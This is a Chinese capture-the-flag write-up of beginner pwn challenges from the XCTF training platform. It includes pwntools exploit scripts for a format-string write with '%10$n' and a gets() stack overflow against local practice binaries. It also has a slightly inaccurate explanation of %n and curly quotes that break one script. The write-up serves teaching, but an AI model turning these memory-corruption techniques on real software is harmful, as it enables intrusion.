攻防世界——pwn(1)

get_shell

攻防世界——pwn(1)_第1张图片
在这里插入图片描述
直接执行就可以了
攻防世界——pwn(1)_第2张图片

cgfsb

攻防世界——pwn(1)_第3张图片
看起来canary开了会有点难哦
攻防世界——pwn(1)_第4张图片
并不难,只要pwnme=8,就会cat flag
根据逻辑
前面要read读入buf,然后就是这里了
攻防世界——pwn(1)_第5张图片
攻防世界——pwn(1)_第6张图片

补充一个很重要的知识点
%10$n表示以十进制输出前面已经打印了的字符个数
完整exp

from pwn import *

context.log_level = 'debug' 
p = process("./cgfsb")

pwnme_addr = 0x0804A068
payload1 = "aaaa"
payload2 = p32(pwnme_addr) + 'aaaa%10$n'
p.recvuntil('please tell me your name:\n') 
p.sendline(payload1)
p.recvuntil('leave your message please:\n') 
p.sendline(payload2)

print p.recv() 



攻防世界——pwn(1)_第7张图片

when_did_you_born

攻防世界——pwn(1)_第8张图片
攻防世界——pwn(1)_第9张图片
gets函数溢出,这道题关键v5一开始不为1926,后面必须是1926,所以通过栈可以知道,用v4覆盖v5

攻防世界——pwn(1)_第10张图片
var_20是v4,var_18是v5

payload =“a“*8 +p32(1926)

完整exp

from pwn import *
p = process(“./born”)

p.sendlineafter("What's Your Birth?\n",str(1998))#这里只要不等于1926就可以

payload = "A"*8 + p32(1926)

p.sendlineafter("What's Your Name?\n",payload)

print p.recv()

攻防世界——pwn(1)_第11张图片
可以啦~~

你可能感兴趣的:(任务)